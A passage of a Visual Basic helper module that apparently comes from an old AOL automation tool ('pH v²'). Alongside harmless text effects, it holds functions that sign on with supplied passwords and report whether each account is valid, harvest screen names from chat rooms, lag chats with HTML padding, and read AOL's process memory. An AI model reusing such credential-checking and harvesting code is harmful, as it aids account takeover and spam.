If (frm.Top + frm.Height) + 400 > Screen.Height Then
Do
DoEvents
frm.Top = frm.Top + 10
Loop Until frm.Top + frm.Height >= Screen.Height
frm.Top = Screen.Height - frm.Height
End If
End Sub
Public Function SNfromIM(IMhWnd As Long) As String
'gets the screen name from an instant message..
'you have to input the window handle of the im.
'example:
' MsgBox SNFromIM(findrecievedim)
'
'that would msgbox a screen name that im'd you
Dim imStr As String, imColon As Long
If IMhWnd& = 0& Then SNfromIM$ = "": Exit Function
imStr$ = GetText(IMhWnd&)
If Trim(imStr$) = "" Then SNfromIM$ = "": Exit Function
imColon& = InStr(1, imStr$, ": ")
SNfromIM$ = Mid(imStr$, imColon& + 2, Len(imStr$) - imColon& - 1)
End Function
Public Function SNFromLastChatLine(ChatLine As String) As String
On Error Resume Next
'gets the sn from whatever string you put in
Dim snColon As Long, snName As String
snColon& = InStr(1, ChatLine$, ":")
snName$ = Left(ChatLine$, snColon& - 1)
If AOLVersion = "3" Or AOLVersion = "2.5" Then
snName$ = Right(snName$, Len(snName$) - 1)
End If
SNFromLastChatLine = snName$
End Function
Public Sub StartSO(screenname As String)
'starts signon.. on 4.0 and 5.0
Dim aol As Long, mdi As Long, soWin As Long, soCombo As Long
Dim soBut As Long, soEdit As Long, lngCombo As Long, modPWStore As Long
Dim conModal As Long, soCNTL As Long, soButx As Long
If AOLVersion = "3" Or AOLVersion = "2.5" Then
Call StartSO25(screenname$)
Exit Sub
End If
If GetUser <> "" Then
Call SignOff
If IsNumeric(GetFromINI("ph2", "signon pause", App.Path + "\ph2.ini")) = True Then
pause (GetFromINI("ph2", "signon pause", App.Path + "\ph2.ini"))
End If
End If
Do
DoEvents
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
soWin& = FindSignOnWindow
soCombo& = FindWindowEx(soWin&, 0&, "_AOL_Combobox", vbNullString)
soBut& = FindWindowEx(soWin&, 0&, "_AOL_Icon", vbNullString)
soBut& = FindWindowEx(soWin&, soBut&, "_AOL_Icon", vbNullString)
soBut& = FindWindowEx(soWin&, soBut&, "_AOL_Icon", vbNullString)
soButx& = FindWindowEx(soWin&, soBut&, "_AOL_Icon", vbNullString)
If soButx& <> 0& Then soBut& = soButx&
soEdit& = FindWindowEx(soWin&, 0&, "_AOL_Edit", vbNullString)
soCNTL& = FindWindowEx(soWin&, 0&, "RICHCNTL", vbNullString)
soCNTL& = FindWindowEx(soWin&, soCNTL&, "RICHCNTL", vbNullString)
Loop Until soWin& <> 0& And soCombo& <> 0& And soBut& <> 0&
Call SendMessage(soCombo&, CB_SETCURSEL, 0&, 0&)
Call ModalKill
Call Temp_Convert(screenname$)
Call SendMessageByString(soEdit&, WM_SETTEXT, 0&, "pH v²")
Call SendMessageByString(soCNTL&, WM_SETTEXT, 0&, "")
Call SendMessageLong(soCombo&, WM_CHAR, ENTER_KEY, 0&)
Do
DoEvents
conModal& = FindWindow("_AOL_Modal", "")
modPWStore& = FindWindow("_AOL_Modal", "Password Store Information Box")
Loop Until conModal& <> 0&
Call PostMessage(modPWStore&, WM_CLOSE, 0&, 0&)
End Sub
Public Sub StartSO25(screenname As String)
'starts signon.. on 3.0 and 2.5
Dim aol As Long, mdi As Long, soWin As Long, soCombo As Long
Dim soBut As Long, soEdit As Long, lngCombo As Long
Dim connectingModal As Long, soStatic As Long
If GetUser <> "" Then
Call SignOff25
If IsNumeric(GetFromINI("ph2", "signon pause", App.Path + "\ph2.ini")) = True Then
pause (GetFromINI("ph2", "signon pause", App.Path + "\ph2.ini"))
pause (1)
End If
End If
Do
DoEvents
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
soWin& = FindSignOnWindow
soCombo& = FindWindowEx(soWin&, 0&, "_AOL_Combobox", vbNullString)
soBut& = FindWindowEx(soWin&, 0&, "_AOL_Icon", vbNullString)
If AOLVersion = "3" Then
soBut& = FindWindowEx(soWin&, soBut&, "_AOL_Icon", vbNullString)
soBut& = FindWindowEx(soWin&, soBut&, "_AOL_Icon", vbNullString)
End If
soEdit& = FindWindowEx(soWin&, 0&, "_AOL_Edit", vbNullString)
soStatic& = FindWindowEx(soWin&, 0&, "_AOL_Static", vbNullString)
soStatic& = FindWindowEx(soWin&, soStatic&, "_AOL_Static", vbNullString)
Loop Until soWin& <> 0& And soCombo& <> 0& And soBut& <> 0&
Call SendMessage(soCombo&, CB_SETCURSEL, 0&, 0&)
Call ModalKill
Call Temp_Convert(screenname$)
Call SendMessageByString(soEdit&, WM_SETTEXT, 0&, "pH v²")
Call SendMessageByString(soStatic&, WM_SETTEXT, 0&, "")
Call SendMessageLong(soCombo&, WM_CHAR, ENTER_KEY, 0&)
Call SendMessageLong(soCombo&, WM_CHAR, ENTER_KEY, 0&)
Do
DoEvents
connectingModal& = FindWindow("_AOL_Modal", vbNullString)
Loop Until connectingModal& <> 0&
End Sub
Public Function StringCount(Text As String, strCount As String) As Long
'counts number of times a string appears in a larger string
Dim iStr As Long, ICount As Long
iStr& = InStr(1, Text, strCount$)
If iStr& = 0& Then
StringCount = 0&
Exit Function
Else
ICount& = 1&
Do
'DoEvents
iStr& = InStr(iStr& + 1, Text, strCount$)
If iStr& = 0& Then
StringCount = ICount&
Exit Function
Else
ICount& = ICount& + 1
End If
Loop
End If
End Function
Public Sub SwitchScreenname(switchSN As String, switchPW As String)
'switches screenname on aol 4.0
Dim aol As Long, mdi As Long, sWin As Long, sList As Long, lngSwitch As Long
Dim cProcess As Long, itmHold As Long, screenname As String
Dim psnHold As Long, rBytes As Long, Index As Long, Room As Long
Dim sThread As Long, mThread As Long, iTab As Long, switchModal As Long, switchIcon As Long
Dim pwWin As Long, PWEdit As Long, pwIcon As Long
Dim iWin As Long, iIcon As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
lngSwitch = -1
Call RunMenuByString("switch scree&n")
Do
DoEvents
sWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Switch Screen Names")
sList& = FindWindowEx(sWin&, 0&, "_AOL_Listbox", vbNullString)
Loop Until sWin& <> 0& And sList& <> 0& And SendMessage(sList&, LB_GETCOUNT, 0&, 0&) <> 0&
On Error Resume Next
sThread& = GetWindowThreadProcessId(sList, cProcess&)
mThread& = OpenProcess(PROCESS_READ Or RIGHTS_REQUIRED, False, cProcess&)
If mThread& Then
For Index& = 0 To SendMessage(sList&, LB_GETCOUNT, 0, 0) - 1
screenname$ = String$(4, vbNullChar)
itmHold& = SendMessage(sList&, LB_GETITEMDATA, ByVal CLng(Index&), ByVal 0&)
itmHold& = itmHold& + 24
Call ReadProcessMemory(mThread&, itmHold&, screenname$, 4, rBytes)
Call CopyMemory(psnHold&, ByVal screenname$, 4)
psnHold& = psnHold& + 6
screenname$ = String$(17, vbNullChar)
Call ReadProcessMemory(mThread&, psnHold&, screenname$, Len(screenname$), rBytes&)
screenname$ = Left$(screenname$, InStr(screenname$, vbNullChar) - 1)
iTab& = InStr(3, screenname$, Chr(9))
screenname$ = Mid(screenname$, 2, Len(screenname$) - iTab& + 1)
If InStr(1, LCase(TrimSpaces(screenname$)), LCase(TrimSpaces(switchSN$))) <> 0& Or LCase(TrimSpaces(screenname$)) = LCase(TrimSpaces(switchSN$)) Then
lngSwitch& = Index&
Exit For
End If
Next Index&
Call CloseHandle(mThread)
End If
If lngSwitch& <> -1 Then
Call SendMessage(sList&, LB_SETCURSEL, lngSwitch&, 0&)
Call PostMessage(sList&, WM_LBUTTONDBLCLK, 0&, 0&)
Do
DoEvents
switchModal& = FindWindow("_AOL_Modal", "Switch Screen Name")
switchIcon& = FindWindowEx(switchModal&, 0&, "_AOL_Icon", vbNullString)
Loop Until switchModal& <> 0& And switchIcon& <> 0&
Do
DoEvents
switchModal& = FindWindow("_AOL_Modal", "Switch Screen Name")
switchIcon& = FindWindowEx(switchModal&, 0&, "_AOL_Icon", vbNullString)
Call SendMessage(switchIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(switchIcon&, WM_LBUTTONUP, 0&, 0&)
Loop Until switchModal& = 0&
Do
DoEvents
pwWin& = FindWindow("_AOL_Modal", "Switch Screen Name Password")
PWEdit& = FindWindowEx(pwWin&, 0&, "_AOL_Edit", vbNullString)
pwIcon& = FindWindowEx(pwWin&, 0&, "_AOL_Icon", vbNullString)
Loop Until pwWin& <> 0& And PWEdit& <> 0& And pwIcon& <> 0&
Call SendMessageByString(PWEdit&, WM_SETTEXT, 0&, switchPW$)
Call SendMessage(pwIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(pwIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
iWin& = FindInvalidPW&
iIcon& = FindWindowEx(iWin&, 0&, "_AOL_Icon", vbNullString)
iIcon& = FindWindowEx(iWin&, iIcon&, "_AOL_Icon", vbNullString)
Loop Until iWin& <> 0& Or GetUser <> ""
If iWin& <> 0& Then
Call SendMessage(iIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(iIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
Loop Until FindSignOnWindow <> 0&
End If
Else
Call PostMessage(sWin&, WM_CLOSE, 0&, 0&)
End If
End Sub
Public Sub Temp_Convert(SN$)
'temporarily converts a screenname at
'aol's signon windows
Dim aol As Long, mdi As Long, Wel As Long, cb As Long
Do
DoEvents
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Wel& = FindSignOnWindow
cb& = FindWindowEx(Wel&, 0&, "_AOL_Combobox", vbNullString)
Loop Until Wel& <> 0 And cb& <> 0
Call SendMessage(cb&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(cb&, WM_LBUTTONUP, 0&, 0&)
Call CB_Change(cb&, 0&, "" & SN$)
Call SendMessage(cb&, WM_USER + 14, 0, 0&)
Call SendMessage(cb&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(cb&, WM_LBUTTONUP, 0&, 0&)
End Sub
Public Function TempSignOn(screenname As String, Password As String) As Long
'signs on account temporarily
Dim aol As Long, mdi As Long, welWin As Long, gWin As Long
Dim gCNTL As Long, iWin As Long, iEdit As Long
Dim gString As String, msgWin As Long, msgBut As Long
If AOLVersion = "3" Or AOLVersion = "2.5" Then
TempSignOn = TempSignOn25(screenname$, Password$)
Exit Function
End If
Call StartSO(screenname$)
Do
DoEvents
iWin& = FindInvalidPW&
iEdit& = FindWindowEx(iWin&, 0&, "_AOL_Edit", vbNullString)
gWin& = FindSignOnWindow&
gCNTL& = FindWindowEx(gWin&, 0&, "RICHCNTL", vbNullString)
gCNTL& = FindWindowEx(gWin&, gCNTL&, "RICHCNTL", vbNullString)
If GetText(gCNTL&) <> "" Then GoTo AfterInvalidPW
Loop Until iWin& <> 0& And iEdit& <> 0&
Call SendMessageByString(iEdit&, WM_SETTEXT, 0&, Password$)
Call SendMessageLong(iEdit&, WM_CHAR, ENTER_KEY, 0&)
AfterInvalidPW:
Do
DoEvents
welWin& = FindWelcome&
gWin& = FindSignOnWindow&
gCNTL& = FindWindowEx(gWin&, 0&, "RICHCNTL", vbNullString)
gCNTL& = FindWindowEx(gWin&, gCNTL&, "RICHCNTL", vbNullString)
gString$ = GetText(gCNTL&)
Loop Until welWin& <> 0& Or InStr(1, gString$, "Invalid password") <> 0& Or InStr(1, gString$, "This account is not currently active") <> 0& Or InStr(1, gString$, "Your connection to AOL has been lost") <> 0&
If welWin& <> 0& Then
TempSignOn& = 1&
ElseIf InStr(1, gString$, "Invalid password") <> 0& Then
TempSignOn& = 2&
ElseIf InStr(1, gString$, "This account is not currently active") <> 0& Then
TempSignOn& = 4&
ElseIf InStr(1, gString$, "Your connection to AOL has been lost") <> 0& Then
Do
DoEvents
msgWin& = FindWindow("#32770", "America Online")
msgBut& = FindWindowEx(msgWin&, 0&, "Button", "OK")
Loop Until msgWin& <> 0& And msgBut& <> 0&
Call PostMessage(msgBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(msgBut&, WM_KEYUP, VK_SPACE, 0&)
TempSignOn& = 3&
End If
End Function
Public Function TempSignOn25(screenname As String, Password As String) As Long
'signs on sn temporarily on 2.5
Dim aol As Long, mdi As Long, soWin As Long, soCombo As Long, soIcon As Long
Dim lngClick As Long, gWin As Long, gEditSN As Long, gEditPW As Long, gButton As Long
Dim soStatic As Long, soString As String, welWin As Long
Dim msgWin As Long, msgBut As Long, csWin As Long, csBut As Long, csStatic As Long, csString As String
Dim msgStatic As Long, MsgString As String, CheckForGB As Boolean
Dim iWin As Long, iEdit As Long, gCNTL As Long
Call StartSO25(screenname$)
Do
DoEvents
iWin& = FindInvalidPW&
iEdit& = FindWindowEx(iWin&, 0&, "_AOL_Edit", vbNullString)
gWin& = FindSignOnWindow&
If AOLVersion = "2.5" Then
gCNTL& = FindWindowEx(gWin&, 0&, "_AOL_Static", vbNullString)
gCNTL& = FindWindowEx(gWin&, gCNTL&, "_AOL_Static", vbNullString)
Else
gCNTL& = FindWindowEx(gWin&, 0&, "RICHCNTL", vbNullString)
gCNTL& = FindWindowEx(gWin&, gCNTL&, "RICHCNTL", vbNullString)
End If
If GetText(gCNTL&) <> "" Then GoTo AfterInvalidPW
Loop Until iWin& <> 0& And iEdit& <> 0&
Call SendMessageByString(iEdit&, WM_SETTEXT, 0&, Password$)
Call SendMessageLong(iEdit&, WM_CHAR, ENTER_KEY, 0&)
AfterInvalidPW:
Do
DoEvents
welWin& = FindWelcome&
soWin& = FindSignOnWindow
If AOLVersion = "2.5" Then
soStatic& = FindWindowEx(soWin&, 0&, "_AOL_Static", vbNullString)
soStatic& = FindWindowEx(soWin&, soStatic&, "_AOL_Static", vbNullString)
Else
soStatic& = FindWindowEx(soWin&, 0&, "RICHCNTL", vbNullString)
soStatic& = FindWindowEx(soWin&, soStatic&, "RICHCNTL", vbNullString)
End If
soString$ = GetText(soStatic&)
'MsgBox soString$
Loop Until welWin& <> 0& Or msgWin& <> 0& And msgBut& <> 0& Or soWin& <> 0& And soStatic& <> 0& And soString$ <> ""
If welWin& <> 0& Then
TempSignOn25 = 1&
Exit Function
End If
If soStatic& <> 0& Then
If InStr(1, soString$, "This account is not currently active") <> 0& Then
TempSignOn25 = 4&
ElseIf InStr(1, soString$, "Invalid account") <> 0& Then
TempSignOn25 = 4&
ElseIf InStr(1, soString$, "Invalid password") <> 0& Then
TempSignOn25 = 2&
ElseIf InStr(1, soString$, "You have been disconnected from America Online") <> 0& Then
Do
DoEvents
csWin& = FindWindow("#32770", "America Online")
csBut& = FindWindowEx(csWin&, 0&, "Button", "OK")
csStatic& = FindWindowEx(csWin&, 0&, "Static", vbNullString)
csStatic& = FindWindowEx(csWin&, csStatic&, "Static", vbNullString)
csString$ = GetText(csStatic&)
Loop Until csWin& <> 0& And csBut& <> 0& And csStatic& <> 0& And csString$ <> ""
Call PostMessage(csBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(csBut&, WM_KEYUP, VK_SPACE, 0&)
If InStr(1, csString$, "Your account is signed on using") <> 0& Then
TempSignOn25 = 3&
ElseIf InStr(1, csString$, "This account has been suspended") <> 0& Then
TempSignOn25 = 4&
End If
End If
End If
End Function
Public Function Text_Backwards(Text As String) As String
'makes text appear backwards
Dim bLong As Long, bChr As String, bFull As String
For bLong& = 1 To Len(Text$)
bChr$ = Mid(Text$, bLong&, 1)
bFull$ = bChr$ + bFull$
Next bLong&
Text_Backwards = bFull$
End Function
Public Function Text_Bold(Text As String) As String
'makes first letter of every word
'in a sentence bold.
Dim tLong As Long, tChr As String, tFull As String
For tLong& = 1 To Len(Text$)
tChr$ = Mid(Text$, tLong&, 1)
If tLong& = 1 Then tChr$ = "<b>" + tChr$ + "</b>"
If tChr$ = " " Then
tChr$ = Mid(Text$, tLong&, 2)
tChr$ = " <b>" + Right(tChr$, 1) + "</b>"
tLong& = tLong& + 1
End If
tFull$ = tFull$ + tChr$
Next tLong&
Text_Bold = tFull$
End Function
Public Function Text_Elite(Text As String) As String
'makes text 'elite'
'example how to use it:
'Call ChatSend(Text_Elite("heyhowzitgoin"))
Dim eLong As Long, eChr As String, eFull As String
Text$ = LCase(Text$)
For eLong& = 1 To Len(Text$)
eChr$ = Mid(Text$, eLong&, 1)
If eChr$ = "a" Then eChr$ = "à"
If eChr$ = "A" Then eChr$ = "Á"
If eChr$ = "b" Then eChr$ = "/›"
If eChr$ = "B" Then eChr$ = "ß"
If eChr$ = "c" Then eChr$ = "ç"
If eChr$ = "C" Then eChr$ = "©"
If eChr$ = "d" Then eChr$ = "‹/"
If eChr$ = "D" Then eChr$ = "Ð"
If eChr$ = "e" Then eChr$ = "è"
If eChr$ = "E" Then eChr$ = "È"
If eChr$ = "f" Then eChr$ = "ƒ"
If eChr$ = "h" Then eChr$ = "H"
If eChr$ = "H" Then eChr$ = "H"
If eChr$ = "i" Then eChr$ = "ì"
If eChr$ = "I" Then eChr$ = "Ì"
If eChr$ = "k" Then eChr$ = "/‹"
If eChr$ = "K" Then eChr$ = "/<"
If eChr$ = "l" Then eChr$ = "L"
If eChr$ = "L" Then eChr$ = "£"
If eChr$ = "m" Then eChr$ = "m"
If eChr$ = "M" Then eChr$ = "M"
If eChr$ = "n" Then eChr$ = "ñ"
If eChr$ = "N" Then eChr$ = "N"
If eChr$ = "o" Then eChr$ = "ø"
If eChr$ = "O" Then eChr$ = "Ø"
If eChr$ = "p" Then eChr$ = "p"
If eChr$ = "P" Then eChr$ = "Þ"
If eChr$ = "R" Then eChr$ = "®"
If eChr$ = "s" Then eChr$ = "š"
If eChr$ = "S" Then eChr$ = "§"
If eChr$ = "T" Then eChr$ = "†"
If eChr$ = "u" Then eChr$ = "ù"
If eChr$ = "U" Then eChr$ = "Ú"
If eChr$ = "V" Then eChr$ = "\/"
If eChr$ = "w" Then eChr$ = "w"
If eChr$ = "W" Then eChr$ = "W"
If eChr$ = "x" Then eChr$ = "×"
If eChr$ = "X" Then eChr$ = "›‹"
If eChr$ = "y" Then eChr$ = "ý"
If eChr$ = "Y" Then eChr$ = "Ý"
If eChr$ = "1" Then eChr$ = "¹"
If eChr$ = "2" Then eChr$ = "²"
If eChr$ = "3" Then eChr$ = "³"
If eChr$ = "0" Then eChr$ = "°"
If eChr$ = "!" Then eChr$ = "¡"
If eChr$ = "?" Then eChr$ = "¿"
eFull$ = eFull$ + eChr$
Next eLong&
Text_Elite = eFull$
End Function
Public Function Text_UCASE(Text As String) As String
'makes text 'CAPS'
'example how to use it:
'Call ChatSend(Text_Ucase("heyhowzitgoin"))
Dim eLong As Long, eChr As String, eFull As String
Text$ = LCase(Text$)
For eLong& = 1 To Len(Text$)
eChr$ = Mid(Text$, eLong&, 1)
If eChr$ = "A" Then eChr$ = "A"
If eChr$ = "A" Then eChr$ = "A"
If eChr$ = "B" Then eChr$ = "B"
If eChr$ = "B" Then eChr$ = "B"
If eChr$ = "C" Then eChr$ = "C"
If eChr$ = "C" Then eChr$ = "C"
If eChr$ = "D" Then eChr$ = "D"
If eChr$ = "D" Then eChr$ = "D"
If eChr$ = "E" Then eChr$ = "E"
If eChr$ = "E" Then eChr$ = "E"
If eChr$ = "F" Then eChr$ = "F"
If eChr$ = "H" Then eChr$ = "H"
If eChr$ = "H" Then eChr$ = "H"
If eChr$ = "I" Then eChr$ = "I"
If eChr$ = "I" Then eChr$ = "I"
If eChr$ = "K" Then eChr$ = "K"
If eChr$ = "K" Then eChr$ = "K"
If eChr$ = "L" Then eChr$ = "L"
If eChr$ = "L" Then eChr$ = "L"
If eChr$ = "M" Then eChr$ = "M"
If eChr$ = "M" Then eChr$ = "M"
If eChr$ = "N" Then eChr$ = "N"
If eChr$ = "N" Then eChr$ = "N"
If eChr$ = "O" Then eChr$ = "O"
If eChr$ = "O" Then eChr$ = "O"
If eChr$ = "P" Then eChr$ = "P"
If eChr$ = "P" Then eChr$ = "P"
If eChr$ = "R" Then eChr$ = "R"
If eChr$ = "S" Then eChr$ = "S"
If eChr$ = "S" Then eChr$ = "S"
If eChr$ = "T" Then eChr$ = "T"
If eChr$ = "U" Then eChr$ = "U"
If eChr$ = "U" Then eChr$ = "U"
If eChr$ = "V" Then eChr$ = "V"
If eChr$ = "W" Then eChr$ = "W"
If eChr$ = "W" Then eChr$ = "W"
If eChr$ = "X" Then eChr$ = "X"
If eChr$ = "X" Then eChr$ = "X"
If eChr$ = "Y" Then eChr$ = "Y"
If eChr$ = "Y" Then eChr$ = "Y"
If eChr$ = "1" Then eChr$ = "¹"
If eChr$ = "2" Then eChr$ = "²"
If eChr$ = "3" Then eChr$ = "³"
If eChr$ = "0" Then eChr$ = "°"
If eChr$ = "!" Then eChr$ = "¡"
If eChr$ = "?" Then eChr$ = "¿"
eFull$ = eFull$ + eChr$
Next eLong&
Text_UCASE = eFull$
End Function
Public Function Text_Hacker(Text As String) As String
'"hacks" the text
'all it does is make every vowel lcase and every consonant ucase
Dim hLong As Long, hFull As String
Dim hChr As String, hChr2 As String
Text$ = UCase(Text$)
For hLong& = 1 To Len(Text$)
hChr$ = Mid(Text$, hLong&, 1)
If hChr$ = "A" Then
hChr$ = "a"
ElseIf hChr$ = "E" Then
hChr$ = "e"
ElseIf hChr$ = "I" Then
hChr$ = "i"
ElseIf hChr$ = "O" Then
hChr$ = "o"
ElseIf hChr$ = "U" Then
hChr$ = "u"
'ElseIf hChr$ = "S" Then
' hChr$ = "s"
End If
If hLong = 3 Then
If hChr$ = "P" Then
hChr$ = "p"
End If
End If
hFull$ = hFull$ + hChr$
Next hLong&
Text_Hacker = hFull$
End Function
Public Function Text_LAG(Text As String) As String
'converts string into a lag string
Dim lLong As Long, lChr As String, lFull As String
For lLong& = 1 To Len(Text$)
lChr$ = Mid(Text$, lLong&, 1)
lChr$ = "<html></html><html></html>" + lChr$
lFull$ = lFull$ + lChr$
Next lLong&
Text_LAG = lFull$
End Function
Public Function Text_PigLatin(Text As String) As String
'this is pretty nice, i should make some
'error checks [for vowels and what not], but
'i'm really lazy, maybe later.
Dim iSpace As Long, iNext As Long
Dim strTemp As String, strTxt As String
Dim strFront As String, strBack As String
Dim strFull As String
strTxt$ = Text$
If Right(strTxt$, 1) <> " " Then
strTxt$ = strTxt$ + " "
End If
iSpace& = InStr(1, strTxt$, " ")
strTemp$ = Left(strTxt$, iSpace& - 1)
'word check
If Len(strTemp$) > 1 Then
strFront$ = Mid(strTemp$, 1, 1)
strBack$ = Mid(strTemp$, 2, Len(strTemp$) - 1)
strTemp$ = strBack$ + "-" + strFront$ + "ay"
End If
strFull$ = strTemp$
iNext& = iSpace
Do While iNext& <> 0&
iSpace& = iNext&
iNext& = InStr(iSpace& + 1, strTxt$, " ")
If iNext& <> 0& Then
strTemp$ = Mid(strTxt$, iSpace& + 1, iNext& - iSpace& - 1)
'word check
If Len(strTemp$) > 1 Then
strFront$ = Mid(strTemp$, 1, 1)
strBack$ = Mid(strTemp$, 2, Len(strTemp$) - 1)
strTemp$ = strBack$ + "-" + strFront$ + "ay"
End If
strFull$ = strFull$ + " " + strTemp$
End If
Loop
Text_PigLatin$ = strFull$
End Function
Public Sub Text_TypeWriter(Text As String, lbl As Label)
'makes text type slowly into a label
Dim i As Long
For i = 1 To Len(Text$)
lbl.Caption = Left(Text$, i)
pause (0.001)
Next i
lbl.Caption = Text$
End Sub
Public Function Text_Wavy(Text As String) As String
'uses html to make text wavy.
Dim wLong As Long, wFull As String, wChr As String
Dim wChr2 As String, wChr3 As String, wChr4 As String
For wLong& = 1 To Len(Text$) Step 4
wChr$ = Mid(Text$, wLong&, 1)
wChr2$ = Mid(Text$, wLong& + 1, 1)
wChr3$ = Mid(Text$, wLong& + 2, 1)
wChr4$ = Mid(Text$, wLong& + 3, 1)
wFull$ = wFull$ + "<sup>" + wChr$ + "</sup>" + wChr2$ + "<sub>" + wChr3$ + "</sub>" + wChr4$
Next wLong&
Text_Wavy = wFull$
End Function
Public Sub ToolKeyword(KW As String)
'uses the 'keyword' icon on aol's toolbar
'to go to a keyword.
Dim aol As Long, mdi As Long, tb As Long, TBar As Long, tPre As Long
Dim tIcon As Long, i As Long, Count As Long, StartTime As Double
Dim KWWin As Long, KWEdit As Long, kCombo As Long, kEdit As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
tb& = FindWindowEx(aol&, 0&, "AOL Toolbar", vbNullString)
TBar& = FindWindowEx(tb&, 0&, "_AOL_Toolbar", vbNullString)
kCombo& = FindWindowEx(TBar&, 0&, "_AOL_Combobox", vbNullString)
kEdit& = FindWindowEx(kCombo&, 0&, "Edit", vbNullString)
tIcon& = FindWindowEx(TBar&, 0&, "_AOL_Icon", vbNullString)
For i = 1 To 19
tIcon& = FindWindowEx(TBar&, tIcon&, "_AOL_Icon", vbNullString)
Next i
Call RunMenuByString("Incoming Text")
Call SendMessageByString(kEdit&, WM_SETTEXT, 0&, KW$)
Do
DoEvents
Call SendMessage(tIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(tIcon&, WM_LBUTTONUP, 0&, 0&)
StartTime = Timer
Do While Timer - StartTime < 0.3
DoEvents
KWWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Keyword")
KWEdit& = FindWindowEx(KWWin&, 0&, "_AOL_Edit", vbNullString)
If KWWin& <> 0& And KWEdit& <> 0& Then GoTo FoundKW
Loop
Loop Until KWWin& <> 0& And KWEdit& <> 0&
FoundKW:
Call SendMessageByString(KWEdit&, WM_SETTEXT, 0&, KW$)
Call SendMessageLong(KWEdit&, WM_CHAR, ENTER_KEY, 0&)
End Sub
Public Function TrimChr(tText As String, tChr As String) As String
'removes a character in a string
Dim tLong As Long, fChr As String, tFull As String
For tLong& = 1 To Len(tText$)
fChr$ = Mid(tText$, tLong&, 1)
If fChr$ = tChr Then fChr$ = ""
tFull$ = tFull$ + fChr$
Next tLong&
TrimChr$ = tFull$
End Function
Public Function TrimSpaces(Text As String) As String
'removes any spaces from a string
Dim cLong As Long, cChar As String, cFull As String
If Trim(Text$) = "" Then
TrimSpaces = ""
Exit Function
End If
For cLong& = 1 To Len(Text$)
cChar$ = Mid(Text$, cLong&, 1)
If cChar$ = " " Then cChar$ = ""
cFull$ = cFull$ + cChar$
Next cLong&
TrimSpaces = cFull$
End Function
Public Sub UnUpchat()
'turns upchat off
Dim aol As Long
aol& = FindWindow("AOL Frame25", vbNullString)
Call ShowWindow(aol&, SW_MINIMIZE)
Call ShowWindow(aol&, SW_MAXIMIZE)
End Sub
Public Sub upchat()
'turns upchat on
Dim uWin As Long
If AOLVersion = "2.5" Then
Call UpChat25
Exit Sub
End If
uWin& = FindUploadWin
If uWin& = 0& Then Exit Sub
Call ShowWindow(uWin&, SW_HIDE)
Call ShowWindow(uWin&, SW_MINIMIZE)
Call ActivateAOL
End Sub
Public Sub UpChat25()
'turns upchat on for 2.5
Dim hRect As RECT, aol As Long, mdi As Long, Modal As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Modal& = FindWindow("_AOL_Modal", vbNullString) 'FindUploadWin
If Modal& = 0& Then Exit Sub
Call EnableWindow(Modal&, 0)
aol& = FindWindow("AOL Frame25", vbNullString)
Call EnableWindow(aol&, 1&)
Call ShowWindow(FindMail&, SW_MINIMIZE)
'Call SendMessageByString(Modal&, WM_SETTEXT, 0&, "File Transfer - %86")
If Modal& <> 0& Then
MoveWindow Modal&, 20, -4, 150, 5, 1
End If
GetWindowRect Modal&, hRect
End Sub
Public Function UpChatPercent() As String
'returns the upchat percent
Dim uWin As Long, uString As String, uPercent As Long
Dim UploadPercent As String
uWin& = FindUploadWin
uString$ = GetText(uWin&)
uPercent& = InStr(1, uString$, "%")
UploadPercent$ = Right(uString$, Len(uString$) - uPercent&)
End Function
Public Sub WaitForListToLoad(hWndList As Long)
'waits for list from another win to load
Dim wCount1 As Long, wCount2 As Long, wCount3 As Long
Do
DoEvents
wCount1& = SendMessage(hWndList&, LB_GETCOUNT, 0&, 0&)
pause (0.4)
wCount2& = SendMessage(hWndList&, LB_GETCOUNT, 0&, 0&)
pause (0.4)
wCount3& = SendMessage(hWndList&, LB_GETCOUNT, 0&, 0&)
Loop Until wCount1& = wCount3&
End Sub
Public Sub WaitForTextToLoad(hWndTxt As Long)
'waits for text from another win to load
Dim wString1 As String, wString2 As String, wString3 As String
Do
DoEvents
wString1$ = GetText(hWndTxt&)
pause (0.4)
wString2$ = GetText(hWndTxt&)
pause (0.4)
wString3$ = GetText(hWndTxt&)
pause (0.4)
Loop Until wString1$ = wString3$
End Sub
Public Sub WhosChattingGather(Amount As Long, list As ListBox)
'goes through every category and every
'chat in those categories
Dim lngLeft As Long, lngRight As Long
'If Amount& >= List.ListCount Then Exit Sub
Call findachat
For lngLeft& = 1 To WhosChattingLCount
For lngRight& = 0 To WhosChattingRCount - 1
Call WhosChattingGatherRight(lngRight&, list)
If list.ListCount >= Amount& Then GoTo AfterGather
pause (8)
Next lngRight&
Call WhosChattingGatherLeft(lngLeft&)
pause (1)
Next lngLeft
AfterGather:
Do
DoEvents
If list.ListCount = Amount& Then Exit Do
list.RemoveItem list.ListCount - 1
Loop
End Sub
Public Sub WhosChattingGatherLeft(Index As Long)
'alot like whoschattinggatherright
'but this one will only skip to an index
'on the Left listbox of aol's 'Find A Chat' window
Dim aol As Long, mdi As Long, fWin As Long, fList As Long, fCount As Long
Dim fIcon As Long, lngicon As Long
Dim wWin As Long, wList As Long, wCount As Long
Dim firstcount As Long, SecondCount As Long
